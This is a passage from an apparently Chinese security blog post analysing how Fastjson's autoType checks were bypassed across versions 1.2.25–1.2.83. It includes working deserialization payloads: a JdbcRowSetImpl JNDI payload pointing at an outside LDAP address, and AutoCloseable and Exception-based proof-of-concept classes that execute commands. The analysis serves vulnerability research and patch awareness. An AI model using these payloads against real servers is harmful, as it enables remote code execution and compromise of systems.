    return loadClass(className, classLoader, true);
}

所以这就意味着,我们可以利用Class类的val参数给TypeUtile的mapping缓存添加上任意类,而在上文我们说过,当autoTypeSupport未开启时,会跳过检查分支,尝试从mapping获取。因此,我们可以先通过Class类的val参数给mapping加上恶意类,之后就能成功的从mapping中获取到恶意类并直接return。

于是,我们可以构造出如下的Payload:

String evilJson =
    "{" +
        "\"foo\": {" +
            "\"@type\":" +
            "\"java.lang.Class\"," +
            "\"val\":" +
            "\"com.sun.rowset.JdbcRowSetImpl\"" +
        "}," +
        "\"bar\": {" +
            "\"@type\":" +
            "\"com.sun.rowset.JdbcRowSetImpl\"," +
            "\"dataSourceName\":" +
            "\"ldap://112.124.55.122:2333/hacker\"," +
            "\"autoCommit\":" +
            "true" +
        "}" +
    "}";

此payload可以通杀1.2.25-1.2.47下autoTypeSupport为false的情况,但是当此参数为True时,在低版本(本人测试的1.2.25-1.2.32)中会抛出异常,在高版本1.2.47中无论true还是false都可以成功,原因如下:

image-20220724155220349

在高版本中,抛出异常不仅需要在黑名单之中,还需要不在mapping里面,因为我们已经加入到了mapping,所以在高版本中,即使autoTypeSupport为true,依然可以成功利用。

通过阅读源码,最后发现这个逻辑是在1.2.33中开始加入的,也就是说,缓存链(暂时就叫他这个名字吧)在1.2.25-1.2.32中,需要autoTypeSupport为False,在1.2.33-1.2.47中无论autoTypeSupport是什么值,都可以成功利用。

1.2.48-1.2.67

在1.2.48版本中,修改了cache的默认值为false。所以在1.2.48-1.2.67的版本中,有的都是针对黑名单的绕过,有着许多新的链条。

具体可看:mi1k7ea师傅的博客

1.2.68-

在此版本中, fastJson引入了safeMod功能:

ParserConfig.getGlobalInstance().setSafeMode(true);

当开启safeMod选项时,会直接抛出异常:

image-20220724163201636

所以,这意味着,之前的Payload在safeMode开启时都会失效。目前好像没有披露出什么办法可以做到绕过此选项。

expectClass绕过AutoTypeSupport(<=1.2.68且未开启safeMode——AutoCloseable)

这里提出了一种不同于利用缓存绕过AutoTypeSupport的思路,此处代码以1.2.25为例子,在其他版本中,代码逻辑变化也不大。当我们的@type为AutoCloseable时,因为他就在Mappings中,所以会返回对应类:

image-20220724231909169

当回到DefaultJsonParser时,获取到的是JavaBeanDeserializer:

image-20220724232415870

最后调用JavaBeanDeserializer的deserialze方法,跟进,有如下的代码逻辑:

if (!matchField) {
    //获取了第二个参数
    key = lexer.scanSymbol(parser.symbolTable);

	//省略...
    
    if (JSON.DEFAULT_TYPE_KEY == key) {//JSON.DEFAULT_TYPE_KEY为@type
        lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
        if (lexer.token() == JSONToken.LITERAL_STRING) {
            // 获取了参数的值
            String typeName = lexer.stringVal();
            lexer.nextToken(JSONToken.COMMA);

            if (typeName.equals(beanInfo.typeName)) {
                if (lexer.token() == JSONToken.RBRACE) {
                    lexer.nextToken();
                    break;
                }
                continue;
            }

            ParserConfig config = parser.getConfig();
            ObjectDeserializer deserizer = getSeeAlso(config, this.beanInfo, typeName);
            Class<?> userType = null;
            if (deserizer == null) {
                //注意这里,有反序列化逻辑
                Class<?> expectClass = TypeUtils.getClass(type);
                userType = config.checkAutoType(typeName, expectClass);
                deserizer = parser.getConfig().getDeserializer(userType);
            }
            return (T) deserizer.deserialze(parser, userType, fieldName);

从代码可以看到,在JavaBeanDeserializer的deserialze中,会去获取第二个key,并key为@type时,会去获取其值,最后尝试将其反序列化。这里的checkAutoType中的typeName即为第二个@type的值,expectClass为AutoCloseable。继续跟进,回到我们的checkAutoType:

if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
        String accept = acceptList[i];
        if (className.startsWith(accept)) {
            return TypeUtils.loadClass(typeName, defaultClassLoader);
        }
    }

    for (int i = 0; i < denyList.length; ++i) {
        String deny = denyList[i];
        if (className.startsWith(deny)) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

因为expectClass不为空,所以会进入这里的检查,这就以为着我们的类不能在黑名单之中,师傅们可能会觉得,说了半天,这不还是没用吗,但是我们先接着往下看:

//会进入这里
if (autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
        || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
       ) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    if (expectClass != null) {
        //检查clazz和expectClass间的关系
        if (expectClass.isAssignableFrom(clazz)) {
            // 注意这里有return
            return clazz;
        } else {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
    }
}

从代码上可以看出,因为我们的expectClass不为空,所以会调用loadClass直接加载,之后如果被加载类是expectClass(即AutoCloseable)的子类或是存在继承关系就会成功return。若其中有恶意的setter或者getter就可以用来攻击了。

因此,expectClass绕过AutoTypeSupport的关键点如下:

  • 第一个@type要指定为AutoCloseable(本菜狗有遍历一下Mappings中的其他类,他们貌似都获取不到JavaBeanDeserializer)
  • Payload中有第二个@type
  • 指定的类不能在黑名单之中
  • 指定的类与AutoCloseable存在关系
  • 指定的类中有可以利用的setter或是getter

POC代码如下,恶意类实现了AutoCloseable接口,并在setter里面有恶意操作:

public class HackerMe implements AutoCloseable{
    private String cmd;
    public HackerMe(){

    }

    public void setCmd(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }


    @Override
    public void close() throws Exception {

    }
}

Payload如下:

String evilJson =  "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"HackerMe\",\"cmd\":\"calc\"}";

不过在真实环境中是不存在这样的类的,考虑到文章篇幅已经很长了,这里就先给出有实际Gadget的链接,之后本人准备将再写一篇《高版本FastJson下的利用链分析》,来将一些链条汇总分析。

具体可看:mi1k7ea师傅的博客,AutoCloseable在1.2.69中被加入了黑名单,所以在之后的版本无法实现绕过。

expectClass绕过AutoTypeSupport(<=1.2.82且未开启safeMode——Exception/Error)

在上文我们讲解了利用AutoCloseable类来进行expectClass的绕过,其实在源码中通过正则checkAutoType\((.+?), (?!null).+,可以看到,还有还有另外一个Deserializer存在往checkAutoType传exceptClass的情况:

image-20220727155837699

如上图所示,在ThrowableDeserializer也同样存在类似代码,同样的是有获取第二个键值的操作,其中传入的exceptClass是Throwable,并且在最后会调用其setter:

image-20220727162554283

所以我们只要在Mappings中找到谁会调用ThrowableDeserializer就行了,在ParserConfig的getDeserializer可以看到有如下的逻辑:

else if (Map.class.isAssignableFrom(clazz)) {
    deserializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
    // 注意这里
    deserializer = new ThrowableDeserializer(this, clazz);
} else if //省略

可以看到,只要是Throwable的子类就行,在Mappings里面我们虽然没有直接看到直接继承Throwable的,但是我们发现Exception和Error是继承的Throwable:

public class Error extends Throwable {
    static final long serialVersionUID = 4980196508277280342L;
//略
public class RuntimeException extends Exception {
    static final long serialVersionUID = -7034897190745766939L;
//略

而在mappings里,我们可以看到有一大堆的异常类,他们都直接或是间接的继承了Exception和Error,从而继承了Throwable:

image-20220727163828337

所以POC可以如下构造:

public class JustTest extends Exception{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

Payload如下:

String evilJson =  "{\"@type\":\"java.lang.Exception\",\"@type\":\"JustTest\"}";

同样的,这里的实际利用链将在之后的文章进行分析。值得一提的是,利用异常类来绕过AutoType的方法,直到1.2.83才被修复。

0x07 参考